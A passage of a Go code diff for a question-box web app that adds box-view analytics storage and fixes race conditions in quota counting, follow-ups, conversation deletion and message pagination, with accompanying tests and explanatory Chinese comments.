func (db *boxViews) RecordBatch(ctx context.Context, opts []RecordBoxViewOptions) error {
if len(opts) == 0 {
return nil
}
now := time.Now()
rows := make([]BoxView, 0, len(opts))
for _, o := range opts {
if o.UserID == 0 || o.Visitor == "" {
// 缺用户或访客标识的行没有统计价值,直接丢弃:
// 空 Visitor 会让同一箱所有匿名访问挤进同一行,把 UV 压成 1。
continue
}
rows = append(rows, BoxView{
UserID: o.UserID,
ViewedOn: dayOnly(o.ViewedOn),
Visitor: o.Visitor,
Views: 1,
CreatedAt: now,
UpdatedAt: now,
})
}
if len(rows) == 0 {
return nil
}
// 同一批里可能出现同一个 (user, day, visitor) 多次(并发请求攒到一次 flush):
// PostgreSQL 的 ON CONFLICT 不支持在同一条 INSERT 里两次命中同一行
// ("ON CONFLICT DO UPDATE command cannot affect row a second time")。
// 所以先在内存里按唯一键合并,把次数累加到 Views 上。
merged := make([]BoxView, 0, len(rows))
index := make(map[[3]interface{}]int, len(rows))
for _, r := range rows {
key := [3]interface{}{r.UserID, r.ViewedOn.Format("2006-01-02"), r.Visitor}
if i, ok := index[key]; ok {
merged[i].Views += r.Views
continue
}
index[key] = len(merged)
merged = append(merged, r)
}
err := db.WithContext(ctx).Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "user_id"}, {Name: "viewed_on"}, {Name: "visitor"}},
DoUpdates: clause.Assignments(map[string]interface{}{
// 表名限定:PG 里裸 views 在 INSERT ... ON CONFLICT 的 SET 子句里
// 可能被当成目标列的别名解析,加上表名前缀最稳。
"views": gorm.Expr("box_views.views + excluded.views"),
"updated_at": now,
}),
}).Create(&merged).Error
if err != nil {
return errors.Wrap(err, "upsert box views")
}
return nil
}
func (db *boxViews) Daily(ctx context.Context, userID uint, from, to time.Time) ([]BoxViewDay, error) {
var days []BoxViewDay
err := db.WithContext(ctx).Model(&BoxView{}).
Select("viewed_on, SUM(views) AS pv, COUNT(*) AS uv").
Where("user_id = ? AND viewed_on >= ? AND viewed_on <= ?", userID, dayOnly(from), dayOnly(to)).
Group("viewed_on").
Order("viewed_on").
Scan(&days).Error
if err != nil {
return nil, errors.Wrap(err, "aggregate box view days")
}
return days, nil
}
func (db *boxViews) TopDays(ctx context.Context, userID uint, limit int) ([]BoxViewDay, error) {
if limit <= 0 {
limit = 1
}
var days []BoxViewDay
err := db.WithContext(ctx).Model(&BoxView{}).
Select("viewed_on, SUM(views) AS pv, COUNT(*) AS uv").
Where("user_id = ?", userID).
Group("viewed_on").
Order("pv DESC").
Limit(limit).
Scan(&days).Error
if err != nil {
return nil, errors.Wrap(err, "top box view days")
}
return days, nil
}
func (db *boxViews) FirstDay(ctx context.Context, userID uint) (time.Time, error) {
var day *time.Time
err := db.WithContext(ctx).Model(&BoxView{}).
Select("MIN(viewed_on)").
Where("user_id = ?", userID).
Scan(&day).Error
if err != nil {
return time.Time{}, errors.Wrap(err, "first box view day")
}
if day == nil {
return time.Time{}, nil
}
return *day, nil
}
func (db *boxViews) Totals(ctx context.Context, userID uint) (int64, int64, error) {
var row struct {
PV int64 `gorm:"column:pv"`
UV int64 `gorm:"column:uv"`
}
err := db.WithContext(ctx).Model(&BoxView{}).
Select("COALESCE(SUM(views), 0) AS pv, COUNT(*) AS uv").
Where("user_id = ?", userID).
Scan(&row).Error
if err != nil {
return 0, 0, errors.Wrap(err, "total box views")
}
return row.PV, row.UV, nil
}
// Purge 删除 before 之前的访问明细。返回删除行数。
//
// 用 Delete 而非 Unscoped 也没关系 —— BoxView 没有 DeletedAt 字段,
// GORM 看不到软删除标记,会直接发 DELETE。
func (db *boxViews) Purge(ctx context.Context, before time.Time) (int64, error) {
res := db.WithContext(ctx).
Where("viewed_on < ?", dayOnly(before)).
Delete(&BoxView{})
if res.Error != nil {
return 0, errors.Wrap(res.Error, "purge box views")
}
return res.RowsAffected, nil
}
+131
View File
@@ -0,0 +1,131 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package db
import (
"context"
"testing"
"time"
"github.com/stretchr/testify/require"
)
func TestBoxViews(t *testing.T) {
db, cleanup := newTestDB(t)
ctx := context.Background()
store := NewBoxViewsStore(db)
for _, tc := range []struct {
name string
test func(t *testing.T, ctx context.Context, store BoxViewsStore)
}{
{"BatchMergesSameKey", testBoxViewsBatchMergesSameKey},
{"AccumulatesAcrossCalls", testBoxViewsAccumulatesAcrossCalls},
{"DailyAndTotals", testBoxViewsDailyAndTotals},
{"PurgeKeepsRecent", testBoxViewsPurgeKeepsRecent},
} {
t.Run(tc.name, func(t *testing.T) {
t.Cleanup(func() {
if err := cleanup("box_views"); err != nil {
t.Fatal(err)
}
})
tc.test(t, ctx, store)
})
}
}
// 同一批里同 (user, day, visitor) 出现多次时,必须先在内存合并再写。
//
// PostgreSQL 的 ON CONFLICT DO UPDATE 不允许同一条 INSERT 两次命中同一行
// ("ON CONFLICT DO UPDATE command cannot affect row a second time"),
// 不合并的话记录器一次 flush 就会整批失败 —— 而 flush 里恰好可能包含
// 同一访客在 2 秒内刷新三次的记录。
func testBoxViewsBatchMergesSameKey(t *testing.T, ctx context.Context, store BoxViewsStore) {
now := time.Date(2026, 10, 29, 15, 4, 5, 0, time.Local)
// 同一访客三次 + 另一个访客一次,全在同一批里
err := store.RecordBatch(ctx, []RecordBoxViewOptions{
{UserID: 7, ViewedOn: now, Visitor: "aaaa"},
{UserID: 7, ViewedOn: now, Visitor: "aaaa"},
{UserID: 7, ViewedOn: now, Visitor: "aaaa"},
{UserID: 7, ViewedOn: now, Visitor: "bbbb"},
})
require.NoError(t, err)
pv, uv, err := store.Totals(ctx, 7)
require.NoError(t, err)
require.Equal(t, int64(4), pv, "三次重复访问应累加进 views")
require.Equal(t, int64(2), uv, "同一访客当天只算一个 UV")
}
func testBoxViewsAccumulatesAcrossCalls(t *testing.T, ctx context.Context, store BoxViewsStore) {
day := time.Date(2026, 10, 28, 9, 0, 0, 0, time.Local)
require.NoError(t, store.Record(ctx, RecordBoxViewOptions{UserID: 3, ViewedOn: day, Visitor: "x"}))
require.NoError(t, store.Record(ctx, RecordBoxViewOptions{UserID: 3, ViewedOn: day, Visitor: "x"}))
require.NoError(t, store.Record(ctx, RecordBoxViewOptions{UserID: 3, ViewedOn: day, Visitor: "y"}))
pv, uv, err := store.Totals(ctx, 3)
require.NoError(t, err)
require.Equal(t, int64(3), pv)
require.Equal(t, int64(2), uv)
}
func testBoxViewsDailyAndTotals(t *testing.T, ctx context.Context, store BoxViewsStore) {
base := time.Date(2026, 10, 20, 12, 0, 0, 0, time.Local)
// 20 日:2 访客共 3 次;21 日:1 访客 1 次;22 日:无记录
require.NoError(t, store.RecordBatch(ctx, []RecordBoxViewOptions{
{UserID: 11, ViewedOn: base, Visitor: "a"},
{UserID: 11, ViewedOn: base, Visitor: "a"},
{UserID: 11, ViewedOn: base, Visitor: "b"},
{UserID: 11, ViewedOn: base.AddDate(0, 0, 1), Visitor: "a"},
}))
// 另一个箱主的数据不能串进来
require.NoError(t, store.Record(ctx, RecordBoxViewOptions{
UserID: 12, ViewedOn: base, Visitor: "a",
}))
days, err := store.Daily(ctx, 11, base, base.AddDate(0, 0, 2))
require.NoError(t, err)
require.Len(t, days, 2, "没有记录的那天不返回,由上层补零")
require.Equal(t, "2026-10-20", days[0].Day.Format("2006-01-02"))
require.Equal(t, int64(3), days[0].PV)
require.Equal(t, int64(2), days[0].UV)
require.Equal(t, "2026-10-21", days[1].Day.Format("2006-01-02"))
require.Equal(t, int64(1), days[1].PV)
require.Equal(t, int64(1), days[1].UV)
pv, uv, err := store.Totals(ctx, 11)
require.NoError(t, err)
require.Equal(t, int64(4), pv)
require.Equal(t, int64(3), uv)
first, err := store.FirstDay(ctx, 11)
require.NoError(t, err)
require.Equal(t, "2026-10-20", first.Format("2006-01-02"))
}
func testBoxViewsPurgeKeepsRecent(t *testing.T, ctx context.Context, store BoxViewsStore) {
old := time.Now().AddDate(0, 0, -30)
recent := time.Now()
require.NoError(t, store.RecordBatch(ctx, []RecordBoxViewOptions{
{UserID: 5, ViewedOn: old, Visitor: "a"},
{UserID: 5, ViewedOn: recent, Visitor: "b"},
}))
n, err := store.Purge(ctx, time.Now().AddDate(0, 0, -7))
require.NoError(t, err)
require.Equal(t, int64(1), n)
pv, uv, err := store.Totals(ctx, 5)
require.NoError(t, err)
require.Equal(t, int64(1), pv, "只保留保留期内的行")
require.Equal(t, int64(1), uv)
}
+71 -2
View File
@@ -19,6 +19,9 @@ var Conversations ConversationStore
type ConversationStore interface {
Create(ctx context.Context, opts CreateConversationOptions) (*Conversation, error)
// CreateWithFirstMessage 事务化地建会话 + 首条消息 + 消息计数。
// 单独写首条消息(用于「发第一条私聊」这类一次性动作),避免失败时留下空会话。
CreateWithFirstMessage(ctx context.Context, opts CreateConversationOptions, senderID uint, content string) (*Conversation, *Message, error)
GetByID(ctx context.Context, id uint) (*Conversation, error)
GetByToken(ctx context.Context, token string) (*Conversation, error)
GetByIDAndOwner(ctx context.Context, id, ownerID uint) (*Conversation, error)
@@ -83,6 +86,59 @@ func (db *conversations) Create(ctx context.Context, opts CreateConversationOpti
return conversation, nil
}
// CreateWithFirstMessage 在一个事务里完成「建会话 + 写首条消息 + 消息计数」。
//
// 原来这三步是三次独立写入:第二步失败时会话已经提交,于是留下一条
// message_count=0、没有任何消息的「空会话」——箱主的私聊列表里能看到它,
// 点进去什么都没有;更麻烦的是 Conversations.Create 的 BeforeCreate 已经
// 生成并占用了一个 6 字符 token(唯一索引),孤儿会话会永久占着这个 token。
func (db *conversations) CreateWithFirstMessage(
ctx context.Context, opts CreateConversationOptions, senderID uint, content string,
) (*Conversation, *Message, error) {
var conv *Conversation
var msg *Message
err := db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
conv = &Conversation{
OwnerID: opts.OwnerID,
AskerID: opts.AskerID,
MaxMessages: opts.MaxMessages,
}
// 走 tx 而不是 db:BeforeCreate 里生成 token 的 hook 同样会被触发。
if err := tx.Create(conv).Error; err != nil {
return errors.Wrap(err, "create conversation")
}
msg = &Message{
ConversationID: conv.ID,
SenderID: senderID,
Content: content,
}
if err := tx.Create(msg).Error; err != nil {
return errors.Wrap(err, "create first message")
}
// 原子自增,与 IncrementMessageCount 保持同一写法
if err := tx.Model(&Conversation{}).
Where("id = ?", conv.ID).
UpdateColumn("message_count", gorm.Expr("message_count + 1")).Error; err != nil {
return errors.Wrap(err, "increment message count")
}
// 私聊定量收集:新建会话即计一条(后续往来消息不重复计数)。
// 放在事务里而不是 handler 里:原来 handler 在事务之后调 IncrementQuota 且
// 失败只打 Warn,会话建成了但计数没加,箱主的「已收集」偏少、上限被绕过。
if err := incrementQuotaTx(tx, opts.OwnerID, FeatureChat, 1); err != nil {
return errors.Wrap(err, "increment chat quota")
}
return nil
})
if err != nil {
return nil, nil, err
}
return conv, msg, nil
}
func (db *conversations) GetByID(ctx context.Context, id uint) (*Conversation, error) {
var conv Conversation
if err := db.WithContext(ctx).First(&conv, id).Error; err != nil {
@@ -216,8 +272,21 @@ func (db *conversations) MarkDeletedByOwner(ctx context.Context, id uint) error
return nil
}
if err := db.WithContext(ctx).Model(&Conversation{}).Where("id = ?", id).Update("is_deleted_by_owner", true).Error; err != nil {
return errors.Wrap(err, "mark conversation deleted by owner")
// 用「条件更新 + RowsAffected」代替纯 Update:
// 原来的写法是 check-then-act,双击「删除会话」或前端重复提交时,两个请求
// 都能读到 is_deleted_by_owner=false,于是都执行 UPDATE、都执行一次
// IncrementQuota(-1)。IncrementQuota 有 quota_count>0 兜底不会变负,
// 但会白吃掉本用户其他会话的计数 —— 表现为定量收集提前关闭,
// 而箱主重置计数也校准不回来。
res := db.WithContext(ctx).Model(&Conversation{}).
Where("id = ? AND is_deleted_by_owner = ?", id, false).
Update("is_deleted_by_owner", true)
if res.Error != nil {
return errors.Wrap(res.Error, "mark conversation deleted by owner")
}
if res.RowsAffected == 0 {
// 并发里被另一个请求抢先删掉了:它已经做过配额回退,这里不能再来一次。
return nil
}
// 回退定量收集计数:删除私聊会话等价于少一条已收集内容,
+27
View File
@@ -15,6 +15,25 @@ import (
"github.com/tamakyi/TamaBox/internal/conf"
)
// handle 保存 Init 建立的连接,供「不需要具体 store」的场景使用(如就绪探针)。
// 与下面那些业务 store 的包级变量区分开:那些是接口,这个是连接本身。
var handle *gorm.DB
// Ping 检查数据库连接是否可用。供 /readyz 就绪探针调用。
//
// 为什么需要它:原来的「探活」只能 curl /,而首页只渲染模板、不碰数据库 ——
// DB 挂了首页照样 200,反过来 Redis 挂了首页又可能 500。于是探针既会漏报也会误报。
func Ping(ctx context.Context) error {
if handle == nil {
return errors.New("database not initialized")
}
sqlDB, err := handle.DB()
if err != nil {
return errors.Wrap(err, "get sql.DB")
}
return sqlDB.PingContext(ctx)
}
var AllTables = []interface{}{
&User{}, &Question{}, &FollowUp{}, &CensorLog{}, &UploadImage{}, &UploadImageQuestion{},
&Conversation{}, &Message{}, &MessageImage{}, &UserBlock{},
@@ -26,6 +45,10 @@ var AllTables = []interface{}{
&UserRestriction{}, &ContentReport{},
// 蜜罐命中记录(审计证据,只追加不软删)
&HoneypotHit{},
// 自动封禁记录(内存态封禁的落库账本,用于事后解释与取证)
&BanRecord{},
// 箱主数据面板的访问流水(每 访客×天×箱 一行,Unscoped 语义,见 BoxView 注释)
&BoxView{},
}
func Init(typ, dsn string) (*gorm.DB, error) {
@@ -46,6 +69,7 @@ func Init(typ, dsn string) (*gorm.DB, error) {
if err != nil {
return nil, errors.Wrap(err, "connect to database")
}
handle = db
sqlDB, err := db.DB()
if err != nil {
@@ -142,7 +166,10 @@ func Init(typ, dsn string) (*gorm.DB, error) {
Restrictions = NewRestrictionsStore(db)
Reports = NewReportsStore(db)
Honeypots = NewHoneypotStore(db)
BanRecords = NewBanRecordsStore(db)
Analytics = NewSiteAnalyticsStore(db)
BoxViews = NewBoxViewsStore(db)
BoxAnalytics = NewBoxAnalyticsStore(db)
// 旧版本把消息/密码明文存在 honeypot_hits 上;结构体已删掉这些字段,
// 但 AutoMigrate 不会删除既有列 —— 老库升级上来后历史明文仍在。
+34 -3
View File
@@ -360,6 +360,26 @@ func FeatureStateOf(ctx context.Context, userID uint, feature string) FeatureSta
return fc.Evaluate(time.Now())
}
// FeatureStateOfStrict 与 FeatureStateOf 相同,但查询失败时返回错误而不回退默认配置。
//
// 给**写入路径**用。FeatureStateOf 的 fail-open 对读展示是对的(配置表抖动不该让
// 页面白屏),但对写入是危险的:它回退到 DefaultFeatureControl —— 提问与投票的
// 默认值是「开启」,于是箱主明明设了「已关闭」或「已达上限」,只要这次读配置失败
// 就被放行,等于定量收集与功能开关都能被一次数据库抖动绕过去。
// 与审核链路「不可用即拒绝」同一口径。
func FeatureStateOfStrict(ctx context.Context, userID uint, feature string) (FeatureState, error) {
if FeatureControls == nil {
// 未装配(测试 / 部分初始化):沿用默认配置,否则所有写路径都会失败。
return DefaultFeatureControl(userID, feature).Evaluate(time.Now()), nil
}
fc, err := FeatureControls.Get(ctx, userID, feature)
if err != nil {
logrus.WithContext(ctx).WithError(err).Errorf("Failed to get feature control %q of user %d", feature, userID)
return FeatureState{}, errors.Wrap(err, "get feature control")
}
return fc.Evaluate(time.Now()), nil
}
// FeatureOpen 便捷入口:某用户某功能当前是否可用。
func FeatureOpen(ctx context.Context, userID uint, feature string) bool {
return FeatureStateOf(ctx, userID, feature).Open
@@ -487,11 +507,22 @@ func (db *featureControls) ResetQuota(ctx context.Context, userID uint, feature
// IncrementQuota 累加收集计数(delta 可为负,用于删除内容时回退计数)。
// 负 delta 不会把计数减到 0 以下(WHERE quota_count > 0),避免误删历史内容导致负计数。
func (db *featureControls) IncrementQuota(ctx context.Context, userID uint, feature string, delta int64) error {
return incrementQuotaTx(db.WithContext(ctx), userID, feature, delta)
}
// incrementQuotaTx 是配额递增的唯一实现,接受任意 *gorm.DB(可以是事务)。
//
// 为什么要暴露一个「能用事务」的版本:配额与内容必须是同生共死的关系。
// 原来「创建提问」与「quota_count+1」是两次独立写入,后者失败只打一条 Warn ——
// 于是计数比真实行数少,箱主的「已收集 7/10」永远偏低,达到上限后仍能继续收,
// 而重置计数也校准不回来(重置是把计数清零,与实际行数更脱节)。
// 现在内容 store 把这一步放进自己的事务里,任一步失败整体回滚,计数天然对齐。
func incrementQuotaTx(tx *gorm.DB, userID uint, feature string, delta int64) error {
if delta == 0 {
return nil
}
now := time.Now()
q := db.WithContext(ctx).Model(&FeatureControl{}).
q := tx.Model(&FeatureControl{}).
Where("user_id = ? AND feature = ?", userID, feature)
if delta < 0 {
q = q.Where("quota_count > 0")
@@ -513,7 +544,7 @@ func (db *featureControls) IncrementQuota(ctx context.Context, userID uint, feat
fc.QuotaCount = delta
}
fc.QuotaResetAt = &now
created := db.WithContext(ctx).
created := tx.
Clauses(clause.OnConflict{DoNothing: true}).
Create(fc)
if created.Error != nil {
@@ -523,7 +554,7 @@ func (db *featureControls) IncrementQuota(ctx context.Context, userID uint, feat
return nil
}
// 并发下配置行可能刚被其它请求创建:补一次累加,保证计数不丢。
retry := db.WithContext(ctx).Model(&FeatureControl{}).
retry := tx.Model(&FeatureControl{}).
Where("user_id = ? AND feature = ?", userID, feature).
Updates(map[string]interface{}{
"quota_count": gorm.Expr("quota_count + ?", delta),
+47 -13
View File
@@ -18,6 +18,9 @@ var (
ErrFollowUpLimitReached = errors.New("follow up limit reached")
ErrFollowUpNotFound = errors.New("follow up not found")
ErrFollowUpAlreadyAnswered = errors.New("follow up already answered")
// ErrFollowUpAwaitingReply 上一条追问尚未被箱主回复,不允许继续追问。
// 由 CreateIfBelowLimit 在事务内判定(见该方法的注释)。
ErrFollowUpAwaitingReply = errors.New("previous follow up awaiting reply")
)
var FollowUps FollowUpsStore
@@ -35,9 +38,10 @@ type FollowUpsStore interface {
// AnswerByID 回答某条追问;questionID 防越权(必须属于该问题),仅允许回答尚未回答的(answer 为空)。
// 已回答返回 ErrFollowUpAlreadyAnswered,不存在/不属于该问题返回 ErrFollowUpNotFound。
AnswerByID(ctx context.Context, questionID uint, id uint, answer string) error
// UpdateAnswerByID 修改某条追问的回答内容(带 question_id 条件防越权),允许覆盖已回答的(供主人修改回复)。
// UpdateAnswerByID 修改某条追问的回答内容(带 question_id 条件防越权),
// 允许覆盖已回答的(供主人修改回复);返回 wasFirst 表示这是首次回答(此前为空)。
// 不存在/不属于该问题返回 ErrFollowUpNotFound。
UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) error
UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) (wasFirst bool, err error)
// DeleteByQuestionID 删除某条提问时级联清理其全部追问(软删除,与提问保持一致)。
DeleteByQuestionID(ctx context.Context, questionID uint) error
}
@@ -84,6 +88,23 @@ func (db *followUps) CreateIfBelowLimit(ctx context.Context, opts CreateFollowUp
return ErrFollowUpLimitReached
}
// 「上一条追问必须先被回复」也必须在事务内判断。
//
// 这段校验原来只在 handler 里做(事务外):双击提交时两个请求都读到
// 「最新一条还没回复」,随后被这行 FOR UPDATE 串行化,各自 count 都 < 3,
// 于是两条内容相同的追问都创建成功 —— 吃掉 2/3 名额,箱主还会收两封邮件。
// 行锁只保护「条数」,不保护「业务前置条件」,所以判断必须挪进来。
var latest FollowUp
if err := tx.Where("question_id = ?", opts.QuestionID).
Order("id DESC"). // 用 id 而非 created_at:同毫秒写入时时间排序不稳定
Limit(1).
Find(&latest).Error; err != nil {
return errors.Wrap(err, "get latest follow up for reply check")
}
if latest.ID != 0 && latest.Answer == "" {
return ErrFollowUpAwaitingReply
}
f := &FollowUp{
QuestionID: opts.QuestionID,
Content: opts.Content,
@@ -188,18 +209,31 @@ func (db *followUps) AnswerByID(ctx context.Context, questionID uint, id uint, a
// UpdateAnswerByID 修改某条追问的回答内容(带 question_id 条件防止越权),
// 允许覆盖已回答的追问(用于主人修改回复)。不存在/不属于该问题返回 ErrFollowUpNotFound。
func (db *followUps) UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) error {
res := db.WithContext(ctx).
Model(&FollowUp{}).
Where("id = ? AND question_id = ?", id, questionID).
Update("answer", answer)
if res.Error != nil {
return errors.Wrap(res.Error, "update follow up answer")
func (db *followUps) UpdateAnswerByID(ctx context.Context, questionID uint, id uint, answer string) (bool, error) {
var wasFirst bool
err := db.WithContext(ctx).Transaction(func(tx *gorm.DB) error {
// 先读旧值判断「是否首次回答」。handler 里拿不到可靠旧值:
// 它手上的 question 是请求开始时读的,并发下可能已经过期。
var fu FollowUp
if err := tx.Where("id = ? AND question_id = ?", id, questionID).First(&fu).Error; err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
return ErrFollowUpNotFound
}
return errors.Wrap(err, "get follow up")
}
wasFirst = fu.Answer == ""
if err := tx.Model(&FollowUp{}).
Where("id = ? AND question_id = ?", id, questionID).
Update("answer", answer).Error; err != nil {
return errors.Wrap(err, "update follow up answer")
}
return nil
})
if err != nil {
return false, err
}
if res.RowsAffected == 0 {
return ErrFollowUpNotFound
}
return nil
return wasFirst, nil
}
// DeleteByQuestionID 删除某条提问时级联清理其全部追问(软删除,与提问保持一致)。
+162
View File
@@ -0,0 +1,162 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package db
import (
"context"
"sync"
"testing"
"github.com/stretchr/testify/require"
)
// TestSetPinnedIfCurrentOnlyAppliesOnce 覆盖「双击置顶」这个场景。
//
// 原来的 handler 是 read-modify-write:SetPinned(id, !question.IsPinned)。
// 双击时两个请求都读到 is_pinned=false,都写 true,于是用户点了两次、期望
// 「置顶后取消」,结果仍是「置顶」。现在加 current 条件,第二次会因为状态
// 已变而影响 0 行 —— 语义变成「只切换一次」,符合用户本意(手抖点两下)。
func TestSetPinnedIfCurrentOnlyAppliesOnce(t *testing.T) {
database, cleanup := newTestDB(t)
ctx := context.Background()
t.Cleanup(func() {
if err := cleanup("questions"); err != nil {
t.Fatal(err)
}
})
store := NewQuestionsStore(database)
q, err := store.Create(ctx, CreateQuestionOptions{
FromIP: "114.5.1.4",
UserID: 1,
Content: "试试置顶",
})
require.NoError(t, err)
require.False(t, q.IsPinned)
// 第一次切换:false -> true,生效
applied, err := store.SetPinnedIfCurrent(ctx, q.ID, false, true)
require.NoError(t, err)
require.True(t, applied, "第一次切换应生效")
// 第二次切换:请求方仍然以为当前是 false(它读到的旧值),写入 true
// 此时数据库已经是 true,条件不成立 -> 0 行
applied, err = store.SetPinnedIfCurrent(ctx, q.ID, false, true)
require.NoError(t, err)
require.False(t, applied, "状态已变,第二次切换不应再生效")
got, err := store.GetByID(ctx, q.ID)
require.NoError(t, err)
require.True(t, got.IsPinned, "最终状态应仍是置顶,而不是被双击反转")
// 正常取消置顶(条件匹配)
applied, err = store.SetPinnedIfCurrent(ctx, q.ID, true, false)
require.NoError(t, err)
require.True(t, applied)
got, err = store.GetByID(ctx, q.ID)
require.NoError(t, err)
require.False(t, got.IsPinned)
}
// TestFollowUpRejectsSecondWhilePreviousUnanswered 覆盖「追问必须等主人回复」。
//
// 这条规则原来只在 handler 里判断(事务外)。双击提交时两个请求都能通过那次检查,
// 随后被 CreateIfBelowLimit 的问题行锁串行化,各自 count 都 < 3 —— 两条内容相同的
// 追问都创建成功,吃掉 2/3 名额,箱主还会收到两封邮件。
// 现在判定挪进事务,第二个请求会拿到 ErrFollowUpAwaitingReply。
func TestFollowUpRejectsSecondWhilePreviousUnanswered(t *testing.T) {
database, cleanup := newTestDB(t)
ctx := context.Background()
t.Cleanup(func() {
if err := cleanup("follow_ups", "questions"); err != nil {
t.Fatal(err)
}
})
qStore := NewQuestionsStore(database)
q, err := qStore.Create(ctx, CreateQuestionOptions{
FromIP: "114.5.1.4",
UserID: 1,
Content: "允许我追问吗",
})
require.NoError(t, err)
fStore := NewFollowUpsStore(database)
created, err := fStore.CreateIfBelowLimit(ctx, CreateFollowUpOptions{
QuestionID: q.ID,
Content: "第一次追问",
})
require.NoError(t, err)
require.True(t, created)
// 第一条还没被回复:第二次追问必须被拒
_, err = fStore.CreateIfBelowLimit(ctx, CreateFollowUpOptions{
QuestionID: q.ID,
Content: "第一次追问", // 内容相同,模拟双击
})
require.ErrorIs(t, err, ErrFollowUpAwaitingReply)
// 确认库里只有一条(没有因为双击写入两条)
list, err := fStore.GetByQuestionID(ctx, q.ID)
require.NoError(t, err)
require.Len(t, list, 1, "双击不应产生两条追问")
// 主人回复后,允许继续追问
require.NoError(t, fStore.AnswerByID(ctx, q.ID, list[0].ID, "答:可以"))
created, err = fStore.CreateIfBelowLimit(ctx, CreateFollowUpOptions{
QuestionID: q.ID,
Content: "第二次追问",
})
require.NoError(t, err)
require.True(t, created, "上一条已回复后应允许继续追问")
}
// TestMarkDeletedByOwnerConcurrentDecrementsQuotaOnce 覆盖并发删除会话时的配额回退。
//
// 原来是 check-then-act:两次并发请求都读到 is_deleted_by_owner=false,
// 都执行 UPDATE、都执行一次 IncrementQuota(-1)。计数不会变负,但会白吃掉
// 其他会话的额度,表现为定量收集提前关闭。
func TestMarkDeletedByOwnerConcurrentDecrementsQuotaOnce(t *testing.T) {
database, cleanup := newTestDB(t)
ctx := context.Background()
t.Cleanup(func() {
if err := cleanup("conversations", "feature_controls"); err != nil {
t.Fatal(err)
}
})
const ownerID = 7
// 先把私聊配额计数做到 5
fcStore := NewFeatureControlsStore(database)
require.NoError(t, fcStore.IncrementQuota(ctx, ownerID, FeatureChat, 5))
before, err := fcStore.Get(ctx, ownerID, FeatureChat)
require.NoError(t, err)
require.EqualValues(t, 5, before.QuotaCount)
convStore := NewConversationStore(database)
conv, err := convStore.Create(ctx, CreateConversationOptions{OwnerID: ownerID})
require.NoError(t, err)
// 并发两次删除(模拟双击 / 前端重复提交)
var wg sync.WaitGroup
errs := make([]error, 2)
for i := 0; i < 2; i++ {
wg.Add(1)
go func(idx int) {
defer wg.Done()
errs[idx] = convStore.MarkDeletedByOwner(ctx, conv.ID)
}(i)
}
wg.Wait()
require.NoError(t, errs[0])
require.NoError(t, errs[1])
after, err := fcStore.Get(ctx, ownerID, FeatureChat)
require.NoError(t, err)
require.EqualValues(t, 4, after.QuotaCount,
"两个并发删除请求只应回退一次配额(5 -> 4),而不是两次(5 -> 3)")
}
+32 -2
View File
@@ -7,9 +7,17 @@ import (
"github.com/pkg/errors"
"gorm.io/gorm"
"github.com/tamakyi/TamaBox/internal/conf"
"github.com/tamakyi/TamaBox/internal/dbutil"
)
// minChatMessagesPerPage 是会话消息单次加载的兜底条数。
//
// 正常情况下取 conf.Limits.ChatMaxMessages(默认 200,即一次把整个会话读满)。
// 这个常量只在「配置未初始化」(零值,测试里直接构造 store 时会遇到)时生效,
// 不会覆盖箱主显式配置的更大或更小的值。
const minChatMessagesPerPage = 50
var Messages MessageStore
type MessageStore interface {
@@ -60,20 +68,42 @@ func (db *messages) GetByConversationID(ctx context.Context, conversationID uint
var messages []*Message
q := db.WithContext(ctx).Where("conversation_id = ?", conversationID)
limit := 50
// 默认一次取满整个会话,而不是固定 50 条。
//
// 原先写死 limit=50 且按 created_at ASC 取,取到的是「最早的 50 条」;
// 而会话上限是 conf.Limits.ChatMaxMessages(默认 200)。结果是第 51 条起
// 写库成功、message_count 在涨、页面显示 51/200,但列表里永远没有它 ——
// 用户无论等多久、换设备、重新登录都看不到(实测 55 条时只能渲染 #1–#50)。
limit := conf.Limits.ChatMaxMessages
if limit <= 0 {
// 仅兜底「配置未初始化」(零值)这一种情况。
// 不能写成 limit < 50 → 50:那样会把箱主显式配的小上限抬大,
// 属于替用户改配置,而不是补默认值。
limit = minChatMessagesPerPage
}
if cursor != nil {
if cursor.Value != nil && fmt.Sprintf("%v", cursor.Value) != "" {
// 游标语义是「加载更早的消息」,与下面的 ORDER BY id DESC 配套;
// 若沿用旧的 ASC 排序,id < cursor 每次都会命中同一批最老的消息。
q = q.Where("id < ?", cursor.Value)
}
limit = cursor.Limit()
}
q = q.Order("created_at ASC")
// 按 id 倒序取最新 limit 条,再反转成时间正序交给视图层
// (气泡从上到下 = 旧 → 新)。
//
// 排序键用 id 而非 created_at:同一毫秒内写入的多条消息 created_at 完全相同,
// 排序不稳定会导致同一页里顺序来回变;id 自增与写入顺序严格一致。
q = q.Order("id DESC")
q = q.Limit(limit)
if err := q.Find(&messages).Error; err != nil {
return nil, errors.Wrap(err, "get messages")
}
for i, j := 0, len(messages)-1; i < j; i, j = i+1, j-1 {
messages[i], messages[j] = messages[j], messages[i]
}
return messages, nil
}
+139
View File
@@ -0,0 +1,139 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package db
import (
"context"
"fmt"
"testing"
"github.com/stretchr/testify/require"
"github.com/tamakyi/TamaBox/internal/conf"
"github.com/tamakyi/TamaBox/internal/dbutil"
)
// TestGetByConversationIDReturnsLatest 是本轮修复的回归测试。
//
// 修复前的行为:Order("created_at ASC") + Limit(50),取的是「最早的 50 条」。
// 会话上限是 200,所以第 51 条起写库成功、计数在涨,但列表里永远看不到 ——
// 实测 55 条会话只能渲染 #1–#50,双方都以为对方没回。
//
// 现在要求:默认一次取满会话上限,且返回的是「最新」的那一批。
func TestGetByConversationIDReturnsLatest(t *testing.T) {
database, cleanup := newTestDB(t)
ctx := context.Background()
t.Cleanup(func() {
if err := cleanup("messages", "conversations"); err != nil {
t.Fatal(err)
}
})
conv := &Conversation{OwnerID: 1}
require.NoError(t, database.Create(conv).Error)
const total = 55
for i := 1; i <= total; i++ {
require.NoError(t, database.Create(&Message{
ConversationID: conv.ID,
SenderID: 0,
Content: fmt.Sprintf("msg #%d", i),
}).Error)
}
store := NewMessageStore(database)
